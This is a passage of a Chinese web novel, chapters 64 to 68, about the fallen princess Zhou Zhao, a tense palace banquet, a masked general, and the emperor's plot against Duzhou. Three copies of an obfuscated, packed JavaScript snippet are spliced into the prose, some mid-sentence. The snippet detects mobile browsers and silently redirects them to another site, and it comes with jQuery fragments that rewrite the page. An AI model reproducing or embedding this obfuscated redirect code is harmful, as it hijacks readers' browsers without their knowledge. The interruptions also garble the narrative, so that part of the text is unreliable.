渡舟本来听到周昭称呼他“大人”,眉毛很不爽利地挑了挑,听到后半句喉咙里又溢出一声低笑,问道:“殿下真愿意要月例银子?” “要啊,怎么不要。” “不反悔?” “不反悔。” 二人并肩走着,雪下得愈发大了。伞外白茫茫,伞底下却温暖如春。周昭知道这是渡舟用法力围了个结界,让雪沫子飘不进来。 走了阵子,渡舟方温声道:“殿下今日心情很好。” 周昭老实答道:“我见着贺大人平安,也算了却一桩心事。这事儿说来多谢你了,十六。” 周昭还是唤他十六,跟从前并无分别。 周昭这个人说一不二,既说了从前往事一笔勾销,那便是真的不再对渡舟利用她这件事耿耿于怀。 但渡舟瞧着却不怎么满意,又听周昭问道:“我有件事儿,总想不明白。” 渡舟侧过脸看她,说道:“殿下是想问魇鬼?” “嗯。”周昭毫无隐瞒,“镜妖制造满足人欲望的美妙幻境让人沉沦其中,魇鬼却跟她相反,专门造些噩梦让人心生忧俱。那日幻境中,我确实听到魇鬼的声音。后来细想,总觉得不全是镜妖幻境,我的意思是,有没有可能后半段是魇鬼让我做的噩梦?如果真是这样,难道魇鬼想救我?” 这就是周昭想不通的地方。 魇鬼明明对她不怀好意,怎么可能好心冒着被渡舟抓到的风险潜进镜妖幻境。 再听上官的意思,那夜渡舟明明抓到魇鬼,却又给放了。这其中的歪歪绕绕,周昭思前想后还是得亲自问问渡舟。 渡舟走得缓慢,说道:“殿下很聪明,的确不全是镜妖幻境。那日我久久寻不到阵眼,却发现魇鬼那老东西鬼鬼祟祟钻进幻境,被我抓到后本想杀了算了,丹妙却提议由他制造出来一个梦境,只要梦境足够恐怖,就能将你从美梦拉回来。” “后来你同意了?” “不,”渡舟眸中露出一丝戒备,“丹妙狡猾得很,我不放心。” 周昭拢了拢领口,又问:“那后来是怎么回事儿?” 渡舟淡淡道:“所以我和丹妙一同造了那重幻境。丹妙给的条件是让我撤了锁魂咒,我答应了。” 周昭心下震惊:“你答应了?” “丹妙是条鱼饵,关起来便钓不成鱼。九洲城的案子一个接一个跟丹妙有关,他本事不大,却能从我手底下逃脱两回。” 周昭点点头,表示同意:“丹妙背后,一定有个我们不知道的高人。” 渡舟停下脚步,侧身看着周昭道:“殿下,你知道为什么那日就算打破阵眼,你也醒不过来吗?” 周昭没说话。 渡舟微微叹息道:“因为你没有求生意识。殿下,我知道你有无数个不想活下去的理由,但是这一回,能不能请殿下哪怕找到一个理由,活下去。” 周昭仍是不说话,渡舟眸光微动,注视着她缓慢说道:“殿下若想杀谁,我可以做你手中的刀。殿下若想要权,牵机营就是你脚下铺路石阶。所以,试着活下去,可以吗?” 渡舟的声音在这风雪中无比清晰,他的语气一如往常,彷佛在说什么无关紧要的事情。 但这一字一句落入周昭耳中,扰得她心慌意乱,在渡舟如火般灼烧的注视下缓缓抬起头,面上流露出一丝不解,轻声问道:“为什么?” “你为什么要这么做?我已经不再是从前的周昭了。我一无所有,不是皇帝,没有神血。天下人视我如魔头,避之不及,你这么做......到底是为什么?” 周昭最后几个字仿佛自言自语般低声喃喃,脸上半是茫然半是困惑。 渡舟眼里的光一点点熄灭下去,直至变成一谭沉寂,一声轻飘飘的叹息旋即被呼啸的寒风卷去,渡舟转身道:“风大,回去罢。” 65. 宫宴 年关将近,宫内上上下下各处机要忙作一团。 往年这个时候,皇帝都会在宫内举办宫宴,名为“岁恩宴”,一是将朝内叫得上名号的大小官员聚在一起热闹热闹,该赏赐的赏赐,该安抚的安抚; 二是镇守边关苦寒之地的将士们年末回朝,由皇帝亲自接风赐饭,以示皇恩浩荡。 有了这么几重原因,宫宴倒更像是摆上饭桌的朝会,几家欢喜几家愁。 但牵机营是从来不会出席“岁恩宴”的,用上官的话来说,就是“宫里对牵机营能有多大皇恩”,语气简直跟渡舟如出一辙。 今年却是例外。 到了岁恩宴这天,宫里的折子由高忠贤亲自托在手上送到牵机营里来。 牵机营里空空荡荡,侍卫领着高忠贤转来绕去都没找到上官,兜兜转转这道折子却送到周昭跟前儿来了。 高公公脸上汗珠子都没来得及拭,先用袖子小心擦了擦折子,才往前递给周昭,弯着腰笑容可掬道:“这位大人,劳烦您给通报一声。” 周昭停住笔,案上是几页抄好的佛经,她并未接过折子,抬起头淡淡道:“渡舟不在。” 高公公听见渡舟名讳,忙把腰弯得更深,抬起眼皮道:“圣上说了,今年宫宴是家宴,无论如何都让请皇叔老人家去一趟。” 周昭微笑道:“贵人这话从何说起,既然是家宴,牵机营更去不得,免得落人话柄。” “哎哟哟,您折煞老奴了!”高公公终于腾出手擦汗,心说这位也是个牙尖嘴利的主儿。 周昭看了眼窗外漫天飞雪,摇头道:“我也不知道渡舟去哪儿了,再说渡舟去不去,是他自个儿的事儿。贵人,还请回吧。” “这......”高公公将汗巾子揣进怀里,又笑说,“既然皇叔找不着,劳烦祝大人替皇叔进宫一趟。圣上指的轿辇就在外头候着呐,总不好让老奴空着轿子抬进宫去,传到外人耳朵里......嘿嘿,您说呢?” 周昭算是听出几分不对来,这轿子一开始就是为着接她来的。 哪是宫宴,鸿门宴差不多。 她执笔在砚台上蘸满墨汁,没有起身的意思,说道:“我说不好。” 高忠贤愣住片刻,又听周昭道:“我这张脸生得不好,万一圣上又一时兴起,点了我留在宫里。” 高忠贤皮笑肉不笑,道:“大人哪儿的话,您是皇叔老人家身边儿的人。再说陆大人也会去,您跟陆大人也有些日子没见了吧?” 我什么时候成渡舟身边儿的人了。 高忠贤摆明了就是一副她不去他也不走的架势,周昭放下笔,道:“也好,我一个人闷得慌,正好出去走走。还请稍坐一会儿,我换身衣服就来。” 高忠贤连忙出去等,周昭走进里屋,等打开那放衣服的雕花檀木柜时不由一怔。 里面整整齐齐挂满了新衣,花团锦簇如同晚霞倾泻而出,有孔雀蓝的流光缎面,杏子红的对襟长裙,薄荷色的云纹披帛......从里衣到外袍全都考虑到了,甚至还有女子穿的骑装。 跟周昭从前穿的那些非黑即白的衣裳不同,这些全都是鲜亮的颜色,每一件都样式繁复,轻轻一碰便好像漾起了粼粼波光。 不光是衣服,桌上的妆奁也换了更大的,摆放着许多珠宝首饰,胭脂水粉,花钿眉黛,一应俱全。 女子的衣裳虽然好看,但不大方便。周昭记得上一回穿这种华贵的云锈绢袍,还是她从北疆回来之后的宫宴上,似乎就是件孔雀蓝的罗裙。 从那以后她都是怎么方便怎么来,再后来也基本素面朝天,盔甲不离身。 周昭的手轻轻抚摸过这些衣裙,最终还是挑了件白色,拿出来时就像一捧雪落在掌心,细看其实不完全素白,碧绿的丝线里勾出隐隐约约的翠竹,十分雅致。 等换好这件,她的手又移到右边那排狐裘斗篷,其中那件火红色的尤其好看。 不过周昭只是在上面轻轻碰了碰,仍是抄起往日常穿的那件墨色裘衣披上,旋即走了出去。 高忠贤看见她眼前亮了亮,喜上眉梢,领着周昭上轿。轿辇用的是四驾马车,都是清一色白毛骏马,两旁早有宫人立着侍候。 周昭略挑眉尖,扭头微笑道:“高公公,这不合适吧?” 天子六驾,皇亲四驾。 哪怕是国师沈云起,也用不得四驾。如果这轿子是给渡舟准备的无可厚非,给她一个名不见经传的人坐,烫手得很。 高忠贤接过左右递来的金丝暖手炉捂在怀里,堆着笑说:“圣上说合适,那就一定是合适的。风大得紧,大人快些上轿吧。” 周昭看那轿子一眼,弯腰进去。 外头四匹马应声而动,浩浩荡荡往皇宫方向去了。 轿子里是张软榻,铺着一整张白貂皮。 香炉里熏着品相应是极好的老山檀,闻着浓淡适中,脚边是一早烧好的暖炉银炭,因此周昭一踏进去,外头的风雪便立刻戛然而止。 她寻了个舒服的位置斜靠在软榻上,马车行驶得很稳当,轻摇轻晃中不禁阖了双目,直到高忠贤的声音在轿外响起,小心唤她:“大人,咱们到了。” 周昭缓缓睁开眼睛,里头一片清明毫无睡意。 她应了一声,立时有宫人提着大红灯笼上前,一根玉杆子轻轻挑开轿帘,周昭避开伸过来相扶的几只纤手,轻巧地一弯腰,踏着大步出去了。 外头天色擦黑,不见明月,仅有几斗浅浅星光。 周昭拢了拢身上的素白云纹斗篷,没走多久,抬头见一威严大殿,里面歌声阵阵,灯火如昼。 高忠贤小声道:“祝大人,咱们来得晚了,咱家这就领您进去。” 周昭笑笑不说话,高忠贤亲自提了盏灯笼照路,尚未走到大殿门口,便有一尖利的嗓音唤道:“牵机营到——” 百官停著,纷纷侧目,一时间纷杂的目光比殿内烛火还多的落在周昭身上。 “牵机营的人也太不像话了,不光姗姗来迟,连马车都赶进宫里来了!” “往年不是都不来吗?今年怎么来了,还是个女子。” “这女子什么来路?长得倒是……啧,从前怎么没听过牵机营有这么个绝色......” ...... 虽然各自声音都不大,周昭却听得清楚。 小皇帝挥退舞姬,饶有兴致地盯着周昭,等周昭走近了再看,那目光又变成第一次见面时的温良无害,就好像刚才是她看错。 赵允城招手微笑道:“皇叔怎么不见?” 周昭略垂着头,不卑不亢道:“回圣上的话,不清楚。” 丞相嗤之以鼻,适时道:“见了圣上却不下跪,牵机营好大的面子。” 周昭依旧垂着头,态度恭敬道:“回丞相的话,高公公说宫里的马车若是进了牵机营,却空着回去,那便是牵机营目中无主。小民闻之心中惶恐,只得上轿前来,滥竽充数。这一路小民战战兢兢,哪敢落座,因此现在腰酸腿痛,跪不下去。” 周昭这话说得看似滴水不漏,实则深浅由人看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865669|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 马车是宫里派来的,不管几匹马那都是宫里的意思。至于迟没迟,迟了多久,那也是宫里人办事不力。 高公公脸色发白,周昭抬起眼眸继续道:“不过......若丞相非要小民给你跪,小民自然不敢不跪的。” “你!休要胡言,老夫何时说要你跪我了?” 周昭并不理会,正欲下跪,赵允城开口道:“既然身子不适,虚礼就免了。来人,赐座。” 周昭淡淡道:“谢圣上。” 周昭抬眼一看,这位子好。 左边是国师沈云起,右边是近日皇帝眼跟前儿的红人陆轻苹。 沈云起与她目光交错,神情复杂。陆轻苹则目不斜视,仿佛不曾注意到周昭。 周昭转身泰然落座,心知这高位看似皇恩浩荡,落在旁人眼里便是眼红妒忌。 周昭坐定后,歌舞又起。 沈云起方才看得心惊胆战,借着舞姬遮掩,小声说道:“妹妹你胆子太大,有些话说不得。” 周昭并未看她,低声说:“国师,你这身份不好跟我攀谈吧?” 沈云起傲然道:“那怎么了,你长得好看,我心生嫉妒跟你说几句话不是很正常吗?” 周昭尚未明白这其中的关联,沈云起便堂而皇之地靠过来,一会儿摸着周昭身上的锦缎袍子,一会儿又看她发间的翡翠簪子,语气略显夸张道:“哎呀呀,妹妹你哪里买的这许多好看衣裳,城里哪家铺子?回头也带我去逛逛。” 周昭干笑两声,压低声音道:“国师,你演过头了。” “怎么是你来了?”沈云起低着头假意摆弄她衣料,语气已然变了,“出什么事儿了?” 周昭面上云淡风轻,小声道:“不知道,所以进宫看看。” “......”沈云起难以置信,还想说什么,眼前舞姬忽而悉数退下。沈云起假意生气摔了周昭袍角,退回席上。 “镇北侯到——” 原来还有比她更晚到的,周昭轻轻抿了口酒,入口是梅花香甜。 百官都不约而同停著张望,这却是跟周昭刚来时等着看热闹不一样的神情,仰慕居多,好奇亦有。 渡舟从来不在席间备酒,周昭贪着眼前这一口梅花香,只顾低头吃酒,一阵冷冽劲风夹风带雪地从她面皮上刮过去,周昭抬起头,见一戎装男子大步向前。 他盔甲未卸,刀在鞘中,虽然看不清脸,周昭却本能地嗅到一丝不同寻常的气息:这个人,很危险。 “臣,顾绍参见圣上。晚了宴席,还请圣上恕罪。” 周昭眼皮猛地一跳,手中酒盏掉落,席间溢出一阵沁人心脾的梅花香来。 “大将军镇北有功,是朕该去城门迎你才是,算不得晚。” 赵允城免了顾绍的礼,又命人赐座,目光飘到周昭这边,笑着说道,“祝爱卿跟在皇叔身边不久,还没见过大将军吧,怎么酒杯都掉了?” 顾绍侧目望过来,周昭更是坐不稳。 那人应当是刚从战场上下来,一身杀伐之气尚未掩去,左边半张脸戴着副饕餮云纹银面具,剩下半张脸神情凛然凶光乍现,足见对牵机营恨意之深切。 如果不是正在席上,周昭毫不怀疑这人腰间佩刀就是为她周昭项上人头准备的。 小皇帝原来在漠北藏了这一把好刀。 不,这些都不足以令周昭失魂落魄、心惊胆战。她目不转睛,看得正是这位镇北大将军露出的右脸。 这张脸、这脸......分明就是宁啻的脸! 66. 宫宴2 “你怎么了?” 身旁这一声低唤将周昭拉回人间坐席,陆轻苹疑惑不解道:“虽然镇北侯长得凶了些,也不至于吓成这个样子吧......” 周昭这才注意到陆轻苹,也顾不得考虑,是不是该为了陆轻苹的清流好名声离他远些,急声问道:“这人是谁?” 陆轻苹又重复一遍:“顾绍,镇北大将军。” “何时的大将军?” 陆轻苹略一思索,说道:“有些年头了,大概......八年。” 不可能,这分明就是宁啻! 周昭失魂落魄,目光定定地落在对面那人身上。其实非要说来,这人举手投足桀骜难驯,目光里是藏不住的沙场之气,跟宁啻比起来全无相似之处。 但周昭哪里顾得上这些,她一见那半张脸就什么都顾不得了,简直恨不得冲到对面,把那半副面具干脆掀下来看个清楚。 “你到底怎么了?”陆轻苹饮了口清茶,酒壶碰也不碰。 周昭却抢过他面前酒壶满杯倒上,入喉才知自己拿错了酒,每人席上都有两壶酒,她抢来的这壶并非桃花酿,而是跟烧刀子一样烈性的火酒。 但恰是这一口火酒灌进去,方才将她呼之欲出的冲动强压下去。 “大将军的脸……”周昭抿了抿唇,喉咙热得厉害。 陆轻苹回答道:“听说前几年大将军在外受了伤,便戴了这副面具,从不以真面目示人。” 席上推杯换盏间,圣上在问那位镇北大将军要何赏赐,二人便不再言谈。 顾绍环顾一圈,比火酒还滚烫几分的目光落在周昭身上,抬手一指道:“圣上,臣想要那个女人。” 此言一出,殿内突然陷入诡异的沉寂。 丞相看周昭眼神愈发鄙夷,满脸都写着四个大字:狐媚惑主。 众大臣有的面面相觑,更多的则是等着事情闹大好看热闹的隐隐兴奋之感。周昭震惊之余,没有错过赵允城脸上一闪而过的惊讶,于是反倒安心下来。 全场都在等着皇帝开金口,赵允城假意咳了两声,丞相意会,问道:“我记得大将军已有妻室吧?” 顾绍鼻孔里哼了一声,说道:“谁说我要娶她做妻?我要她,是想带回漠北当个军妓。” 这比上一句话更要石破天惊,分明就是明目张胆打渡舟的脸。那些原本看热闹的甚至都不敢再看,生怕这一把火烧到自己门前。 赵允城听了这话却不开口,一边是自己的心腹,一边是既要站在肩头才能飞,又不肯被反握住爪子的牵机营。赵允城站在中间,两边都不想得罪。 周昭却偏不肯遂了赵允城的意,她慢条斯理继续吃菜喝酒,不信赵允城有这个胆子把她交出去。 果然,席间安静片刻,赵允城终于率先按捺不住,抚掌笑道:“大将军此番回来,酒量反不似从前。来人,给大将军送醒酒茶来。” “朕乏了,佳节将至,众爱卿自便。”赵允城好似真的不胜酒力,由高忠贤搀扶着离席。 皇帝一走,紧张压抑的氛围顷刻间一扫而空。 周昭吃饱喝足,却不急着走。她存了心思在对面那位身上,顾绍同样盯着她瞧,看了阵子又仿佛觉得无趣又或是厌恶,低头吃酒去了。 牵机营一向神出鬼没,岁恩宴上头一回有牵机营的人来,虽然渡舟恶名在外,但谁让周昭长了副好皮囊。 酒过三巡,陆轻苹也不胜酒力匆匆离席,有胆大的摇摇晃晃凑过来,坐在陆轻苹的位子上,挤眉弄眼道:“祝大人一人饮酒多无趣,我陪您喝?” 周昭抬眸微笑道:“好啊。” 那人是个四品侍郎,平生最好美色,见周昭一笑魂都飞出半截儿,忙斟满酒杯一饮而尽,又给周昭倒上,说道:“祝大人,请满饮此杯!” 周昭毫不推脱,一杯灌了。 “好!”另有人抚掌喝彩。 侍郎红着眼,被周昭那张脸迷得神魂颠倒,周昭为他倒酒,凑近说道:“大人,您跟大将军,熟吗?” 对方入口的酒咽得不那么顺畅,胡乱答道:“熟。” 周昭把玩着手中酒杯,又道:“您敢不敢去掀了大将军的面具,也好让我们一睹大将军英姿。” 席间再次鸦雀无声。 侍郎顷刻酒醒大半,为难道:“这……” 两道锐利的目光泛着寒意落在周昭身上,顾绍单手按着腰间刀,周昭举起酒杯遥遥相祝,脸上露出一个惨淡的笑来。 若你真是宁大哥,怎地不来问我一声好…… 若你不是,又为何要用他的脸出现在我面前。 周昭仰脖喝酒,笑容褪去。那酒烫得她喉咙像被剐掉一层皮,冷声道:“侍郎大人还请坐回原处。” 顾绍不顾左右相劝提刀站起来,侍郎惊得屁滚尿流,磕磕巴巴说了句“祝大人保重”。 周昭低着头自斟自饮,眼看那双黑靴气势汹汹越走越近—— “大将军醉了!来人!”久不说话的沈云起将酒杯在桌上重重一摔,拂袖起身道,“送大将军回府!” 沈云起声量不大,却自有威严。 席间暗流涌动,顾绍停下脚步,目光肆无忌惮地在沈云起脸上滚了几个来回,语气轻佻道:“几年不见,国师大人愈发光彩照人了。” 沈云起嫌恶道:“彼此彼此,几年未见,大将军脾气愈发见长了。” 顾绍哈哈大笑,再看周昭一眼,转身走了。 “诸位大人,也该吃好喝好了吧?” “是是,好了好了。” 众官员十分识趣地相继离席,只剩下周昭一人还好端端坐着,沈云起皱眉道:“妹妹,你这性子以后还是莫要来宫里了。别喝了,我派人送你回去。” 周昭抬头道:“多谢,不必。” 岁恩宴结束得仓促,偌大的殿内只有低头洒扫的宫人沉默着来来往往。周昭贪这殿内温暖,又坐了阵子,才勾了支金樽酒壶起身。 一出去便是连天风雪,天黑得仿佛压在头顶的一方砚台。周昭接过宫人递来的斗篷披了,脚步虚浮一头扎进风雪里。 这点酒并不足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869700|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以让周昭喝醉,她拢着斗篷,无端想起渡舟那只玄色大氅的暖来。 “祝大人!”高忠贤的声音被呼啸着的寒风裹去一半儿,他揣着暖炉小跑过来,大声道,“大人怎么跑这儿来了,让咱家好找哇。” 高忠贤指了个小太监为周昭撑伞,又抿嘴笑着说道:“大人喝了不少酒,还认得回去的路吗?” 周昭抬眼看他,问道:“回哪儿的路?” “哟!大人醉得不轻呐。”高忠贤被周昭这么抬眼一瞟,险些乱了方寸,定了定神,招呼着一顶软轿上来前,绝口不提来时预备的四驾马车,亲自挑了轿帘,“大人,请吧。” 周昭弯腰进去,软轿虽然暖和,到底摇来晃去,晃得周昭胃里冰一阵儿热一阵儿。正想喊停,软轿却先不动了,高忠贤的声音透进来:“大人,到了。” 周昭下了轿,心中了然,这是把她又带到另一处大殿来了。 她跟着高忠贤进殿,走到灯火明暗处,高忠贤毕恭毕敬道:“人带来了。” 屏风后传来一个熟悉的声音:“下去罢。” 高忠贤走后,殿门吱呀一声合拢。赵允城自屏风后走出来,哪里有半点不胜酒力的模样。 周昭进宫前便料到皇帝要见她,因此并不意外,却有些后悔喝多了酒,当下头痛得很。她规规矩矩跪地行礼道:“圣上召见小民,不知所为何事?” 许久等不到回答,周昭略抬眼眸,见赵允城眼中噙笑,那笑意跟寻常不同,让人瞧着不大舒服。 “朕......”赵允城双手背在身后,故弄玄虚道,“福气不浅呐。”他往前走了两步,弯下腰看着周昭,“连周朝的皇帝都对朕下跪。” 这话仿佛晴天霹雳,周昭酒醒大半,猛地抬起头,赵允城继续微笑着说:“朕说得对吗?安平帝。” 胃里愈发难受,周昭低垂眼帘,平静道:“圣上,我听不懂您的意思。” “周昭,你的骨气也被狗吃了吗?!” 殿内传来一声兴奋的叫喊,一个黑影协风而来,来人尚未看清脸,便抬起一脚气势汹汹朝着周昭心口而去。周昭下意识避开,反手抓住那条腿猛地向后一摔,藏在袖中的匕首已经抵在皮肉上。 “我操了!”那张被周昭按在地上,丑得不能再丑的烂脸骂道,“周昭你他妈再动我一下试试?” “梁王?”周昭将匕首又往前送了送,忍不住挑眉问道,“你这颗人头,不是在无相城当守卫吗?” 这确实是梁王。 那日被渡舟踢进墙里烂了脸,今时今日还没恢复,因此一直记恨着。 但头还是那颗头,身子却是不知从哪找来的死人尸体,拼凑在一起十分滑稽可笑。 梁王当年也算是周昭劲敌,可惜今时不同往日,被周昭一招制敌动弹不得。 赵允城站在一旁看热闹,抚掌笑道:“果然是,仇人见面,分外眼红。” 梁王扭着脖子骂道:“黄口小儿!还不让周昭这疯女人放开!” 赵允城悠悠道:“明鸢殿下,有话好说。” 67. 槐鬼 哪怕是最文采斐然的史官,面对眼前情形也难以下笔。 更漏声声,殿门紧闭。 三朝皇帝各坐一方,殿内拢着恰到好处的龙涎香,是君王们都再熟悉不过的味道。 香味底下暗流涌动,赵允城那张脸终于撕下温和无害的外表,露出勃勃野心来。 周昭半靠在软椅上,手里把玩着那支精巧的匕首。只有梁王坐立不安,终于率先开口道:“赵允城,你倒是说话啊。” 赵允城微笑道:“不急,朕岁数最小,还是等明鸢殿下先问。” 周昭手中匕首转了几下,那寒光看得梁王心里直发毛,她说:“你一早就知道,今日是试探,对吗?” 赵允城不否认:“有人告诉朕,周朝最后一任皇帝就在牵机营。若是殿下畏畏缩缩,不敢上那马车,朕倒是有些失望了。” 他语气中隐隐有几分欣赏,周昭皱眉道:“周昭已经死了,你不会怕一个死人来抢皇位吧?” 赵允城不置可否,露出笑来,说道:“朕希望殿下能助朕一臂之力,完成朕的大业。” 梁王忍不住插嘴道:“天快亮了,说正事儿。” “梁王不必担心,这处宫殿都是为你准备的,不会有光透进来。”赵允城十分体贴地看了眼梁王,也亏得他不惧怕梁王那副烂肉身体。 周昭压住恶心,淡淡道:“你宣朝的大业,与我何干?” 赵允城哈哈笑道:“朕喜欢殿下的个性!也喜欢殿下这张脸。” 梁王嗤以之鼻:“休要被周昭那张脸迷惑。” 赵允城移开目光,继续道:“朕当皇帝十几载,心中却总有根刺不上不下。如果殿下能帮朕拔了这根刺……” 周昭眼神微抬,语气平静:“我不会拔刺,也不当他人手中刀,你找错人了。” “跟谢景一个德行!”梁王冷哼一声,这话却正好戳在周昭心上,她面带怒意,斥道:“休要提长淮!” “他爹妈不是你杀的?装什么好人!” 梁王到底惧怕周昭手中利刃,不再说话了。 周昭的头愈发疼痛,不愿再纠缠,直截了当地说道:“你们要杀渡舟,也该掂量掂量自己的斤两。” 赵允城哪来的胆子,竟然找到一个废物梁王就想除掉渡舟。渡舟说得对,这宫里水浑,她今夜本不该来。 周昭站起来,赵允城却拦住她,不慌不忙道:“殿下好歹听完朕的话,再走不迟。” 周昭冷声道:“圣上的话,早该说了。” 赵允城打开金丝暖炉,里面的热炭烧得正旺,他不紧不慢地将热炭倒进手边一处盆景里,那槐树本来长得翠绿,被这么一烧,火势瞬间燃起来。 “虽然皇叔每隔一朝都换一副人皮,但妖就是妖,藏得再好也有被发现的一天。父皇无能,偏信于他,朕不一样……是妖就有天敌,就像这槐树,遇到火就是它的天敌,不死也得死。” 赵允城的脸被火光映上几分扭曲,周昭一瞥梁王,赵允城语气温和道:“多亏梁王殿下告诉朕,皇叔的死敌是什么。” 梁王嘿嘿笑了两声,问道:“周昭,你难道不想知道渡舟的真身是什么吗?” 他难掩兴奋,舔了舔嘴唇,“渡舟的真身,就是让你日日夜夜都做噩梦的槐树!” …… 轿辇于风雪中行得飞快,暗夜难明,始终不见星光。 周昭刚下软轿便一阵恶心,她脑子里昏昏沉沉,随手解了斗篷丢开。 这场风雪像没有尽头,阴魂不散跟在她身后一千多年。 火酒酒如其名,后劲儿十足。周昭胃里阵阵灼烧,分不清东南西北,脚下一软向前跌去,却没有摔痛。 周昭竟然在这时候还能记得身上的匕首放在何处,她一双眼睛黑得惊人,如惊弓之鸟,摸到匕首便往那双托住她的手背后刺。 “谁!” 那人安抚似的攥住她的手带到胸前,像是浑然不怕刀子会刺到自己。 夜里太黑看不清,周昭刚说出一个字,便身子一软就着那人相扶的手吐起来。 她没吃什么东西,尽吃了些冷酒在肚中,吐到最后只剩清水。周昭半闭着眼,模糊中看见似乎吐了那人一身,对方也不恼,由着周昭紧紧抓着自己的胳膊不放。 周昭吐完本该舒服些,但她心里难受,实在很想在这雪地里躺一躺。于是松开那人衣袖,顺势往雪地里滑,口齿不清喃喃道:“我想一个人……待、待会儿,你的衣服……” “我、我明日……赔……” 话音未落,身子忽地一轻,周昭蹙眉暧了一声,对方像是知道她会从哪个方向出手,将她抱得严丝合缝。 那人怀抱不算特别暖和,走起路来却比软轿稳当多了。 周昭勉力睁开眼,从下往上看到渡舟的睫毛上挂着几点晶莹的雪粒子,她低声道:“是、是十六啊……不是说你......你闭关,怎么出来了……” 渡舟低低地应了一声,喉咙也跟着滚动。 他鬓边白发似乎比从前多了许多,并不看周昭,微微蹙眉道:“殿下……” 渡舟这话里留有余地,周昭喝多了酒,头脑不算清醒,却听出那点儿余地来。 就是不知道渡舟是在怪我跑去宫里,还是怪我吐了他一身…… 没有风雪再落到周昭身上,她不安分地卷起渡舟一缕长发,眯起眼睛道:“十六,你的头发……为什么是白色?” 渡舟默不作声,大步向前。 “我今夜……见到梁王了。” 渡舟抱着周昭的手不由自主紧了紧,周昭仰着脸,继续道:“梁王真惨呢,人不人,鬼不鬼的……” “……”渡舟沉声道,“那是他活该。” “十六……”周昭轻轻攥住渡舟领口,自嘲道,“那我是不是也活该?” 活该众叛亲离,活该苟活于世。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874254|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “殿下,别再说了……”渡舟打断她,声音干涩。 前面就是周昭住的地方,渡舟站在回廊里,却不愿再往前走。 廊角点着两盏琉璃灯,虽然微弱,也好过没有。 “十六,放我下来吧。”周昭松开手。 渡舟停住脚步,终于将周昭放下来。周昭眼神恢复清明,沉默片刻,低声问道:“十六,你曾经说的话还算不算数?” 渡舟点点头,周昭扯出一抹笑意来:“我每日都做噩梦,除了汴江水,还总梦到一片槐树林。” 渡舟身体肉眼可见地僵硬住,周昭继续道:“我这辈子除了下雪天,最讨厌槐树。” 渡舟默不作声,周昭又问:“……十六,你可曾、可曾对我有过愧意?” 因为有愧,所以让我活。 因为有愧,所以对我好。 “殿下……” 周昭不等渡舟回答,便飞快地转身进屋。 她双手颤抖着将门锁住,怀里掉出来一卷书册。周昭在冰冷的地面上干坐半晌,才僵硬地捡起那卷书。 她目光漠然,一页页翻过去。 忽然哇的一声,一口血洒在书页上,浸透了墨色字迹—— 宣庆二十六年冬……永安门之变,皇女昭于叛乱中杀母弑兄,三日后,新帝即位。次年改国号安平。 …… 安平元年,新帝大兴土木,修建地宫。同年秋,颁布均田新法,朝野怨声载道。 ……帝广招天下修士,封爵赐官。又建伏灵院,院中日夜炼丹,以求长生不老之药…… 安平二年,帝亲征海疆,解黎国被困之围。 ……次年春,黎国主大婚,周黎决裂。 其后,帝不顾众谏,发寿陵,内取奇珍异宝无数,自此夜夜笙歌,荒淫无度。盖因帝嗜血,常杀人作乐,盛时日杀百人犹未尽。 同年冬,颁路引新法,极简签发路引手续,取消限期往返,州县不得无故不签。 朝野内外引起轩然大波,官员死谏直言天子昏聩。 ...... 安平四年,汴西十三州易主,八王伐周。帝亲率王师南征北伐。鏖战两年,胜多败少。 安平六年冬,黎接连吞并北疆三城,晋川失守。国主谢景于阵前厉声斥之,帝不怒反笑,亦不予左右射杀。其后帝以王军攻防图予敌,经由黎国僧人忘尘转交,遂至兵败,汴江浮尸数里,血色连月不尽。 周皇城破,万人入城焚火烧之,大火三日不绝。 周历已移,帝为众缚于祭台,卒掘心而死。安平之后,人皇一脉乃绝于世。 周亡。 …… 周昭脸色未变,扶着门框站起来,史册从她怀中滑落,往前翻了几页,上面写着—— 宣庆二十四年冬,晋川大捷。皇女昭自北疆班师回朝,年方十七,意气风发端坐马上,民以为神女降世,跪地高呼…… 68. 第 68 章 “盛都真大!”赵六子张着眼睛四处看,一刻不敢眨眼,情不自禁道,“比俺们辽城大得多!” “九重宫阙接星河,十里长街散绮罗。”燕飞轻轻甩了甩马鞭,跟上来,昂着头道,“六子,知道这句诗写的是哪儿吗?” 赵六子挠挠头道:“啥玩意儿?太吵了俺听不见你说啥!” 四周笑声一片,燕飞翻了个白眼,策马往前。赵六子双腿一夹马肚子,喊道:“燕飞!你等等俺!俺真的没听清你说啥,燕飞!” 晋川赤霞关大捷,北疆霍大将军今日班师回朝,道路两旁早就人头攒动,将盛都主干道围得水泄不通。 